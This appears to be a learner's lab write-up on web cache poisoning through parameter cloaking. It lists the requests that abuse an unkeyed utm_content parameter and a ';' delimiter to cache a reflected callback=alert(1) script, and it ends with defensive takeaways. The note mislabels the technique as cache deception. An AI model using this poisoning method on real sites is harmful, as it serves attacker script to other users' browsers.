Note(Datetime, Name) : 2025-04-29 Parameter Cloaking
Metodelogy
- Investigate the system to retrieve a list of features
- Discribe the feature and explain how it works
- List possible vulnerabilities and group by feature
- Proof of concept for possible vulnerabilities
- What is the impact of the vulnerabilities after the proof of concept ?
==========================================================================================================
feature:
- access GET / -> Home page
steps taken:
- access /js/geolocate.js?callback=setCountryCookie -> confirm the page use geolocate.js and is cacheable and olso observed that the callback parameter is reflected
- access /js/geolocate.js?callback=setCountryCookie&utm_content=payload -> utm_content is added inside page cookie
- access /js/geolocate.js?callback%3dsetCountryCookie%26utm_content%3Dtest%26callback%3dtest -> recived response
missing parameter callback - access /js/geolocate.js?callback=setCountryCookie&utm_content=test=callback=test -> noting happened
- access /js/geolocate.js?callback=setCountryCookie&utm_content& -> confirm utm_content is an unkeyed cache parameter
- access /js/geolocate.js?callback=setCountryCookie&utm_content=test&callback=test&utm_content& -> cache miss occurred
- access /js/geolocate.js?callback=setCountryCookie&utm_content;callback=test -> cache miss occurred but the callback was changed to test, meaning the server interprets ';' as delimiter
- access /js/geolocate.js?callback=setCountryCookie&utm_content=;callback=test -> the second parameter is unkeyed and cacheable, only the first callback is properly keyed
vulnerabilities :
- web cache deception using UTM anlityics and the ';' separator for parameter parsing
Proof of concept:
- access /js/geolocate.js?callback=setCountryCookie and ensure this page is cacheable
- access /js/geolocate.js?callback=setCountryCookie&utm_content=;callback=alert(1) until got response header show cache:miss
- access /js/geolocate.js?callback=setCountryCookie&utm_content=;callback=alert(1) until got response header show cache:hit
- access / home -> an alert popup is shown on browser
impact
- an Attacker can inject script through the url and store it in cache server, allowing the attacker to execute scripts on the victim browser, potentially leading to cookie theft
takeaways
- ensure that every URL parameter is either properly for cache or if not needed , make the page not cacheable
- always sanitize inputs from url, enspecialy if the inputs are reflected an can trigger direct script execution.